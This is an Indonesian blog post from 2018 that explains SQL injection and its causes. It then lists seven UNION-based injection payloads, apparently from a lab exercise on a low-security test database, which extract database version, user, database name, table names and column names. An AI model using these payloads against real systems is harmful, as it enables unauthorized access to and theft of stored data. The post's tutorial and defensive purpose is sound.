Saturday, October 27, 2018

Apa itu SQL Injection dan Cara Melakukannya

Apa itu SQL Injection dan Cara Melakukannya


Pada postingan kali ini saya akan membahas mengenai SQL injection. Saya baru pertama kali tau dan belajar apa itu SQL injection dan melakukannya. Kemarin saya baru saja melakukan simulasi SQL injection pada sebuah database yang telah disiapkan. Dengan settingan security yang low melakukan SQL injection menjadi sangat mudah. Sebelum membahas bagaimana cara melakukan SQL injection, kita akan mengenal terlbih dahulu apa itu SQL Injection.
SQL Injection adalah sebuah teknik yang melakukan serangan pada database melalui celah kemanan database tersebut. Pengertian diatas dapat kita uraikan bahwa teknik ini merupakan serangan yang menargetkan pada database. Dengan melakukan serangan terhadap database target, semua informasi menjadi terlihat sehingga hacker dapat mengambil alih sebuah sistem. Dengan begitu, sistem yang akan diambil alih oleh hacker dapat dengan mudah di salah gunakan oleh hacker.

Ada beberapa alasan kenapa SQL Injection ini bisa terjadi, yaitu :
  1. Karakter-karakter pelolos yang tidak disaring dengan benar, bisa kita bilang sebuah validasi masukkan. Jika sebuah sistem tidak memiliki validasi inputan yang benar, maka hacker dapat melakukan query injection pada masukkan sehingga diproses ke dalam database. Pernyataan tersebut dapat diproses pada aplikasi pengguna atau pengguna akhir, sehingga menyebabkan kesalah keluaran yang ditampilkan. Keluaran yang akan ditampilkan bukan yang harusnya dikeluarkan, seperti contoh password.
  2. Penanganan tipe yang tidak benar, dapat menyebabkan injeksi terjadi. Pada sebuah masukkan harusanya diberi batasan-batasan tyope masukkan yang akan diproses. Hal ini bertujuan untuk memberikan keamanan pada masukkan agar tidak terjadi adanya masukkan yang tidak dikenali type datanya.
  3. Celah keamanan dalam server basis data,  menjadi faktor utama SQL injection terjadi. Celah pada server dapat dengan mudah ditembus oleh hacker dengan injection. Ini merupakan hal yang harus kita perhatikan untuk kemanan pada sebuah server. Semakin tinggi tingkat keamanan server, semakin kecil kemungkin Injection dilakukan.
Adapun cara untuk melakukan SQL Injection adalah sebagai berikut:

%' or '0'='0 ==> Perintah ini adalah untuk menampilakan semua data yang da pada database.
%' or 0=0 union select null,version()# ==> Perintah ini untuk mengetahui Versi database dari target.
%' or 0=0 union select null, user()# ==> Perintah ini adalah untuk meampilkan database user.
%' or 0=0 union select null, database()# ==> Perintah diatas untuk mengetahui nama database.
%' and 1=0 union select null, table_name from information_schema.tables# ==> Menampilkan semua informasi Nama table.
%' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'# ==> Menampilkan semua tables user schema.
%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users'# ==> Menampilkan Field Content


Itulah tadi menegani SQL Injection dan cara melakukannya, intinya untuk menghindari dari serangan injection, kita harus memperketat keamanan database. Banyak cara yang dapat kita lakukan untuk mengamankan databse kita, hal ini untuk menjaga kerahasiaan data yang tersimpan di database. Hal-hal yang kurang berkenan dalam teknik hacking ini dapat kita atasi jika kta tau penyebab-penyebab nya dan prose terjadinya.

#SalamHacking


EmoticonEmoticon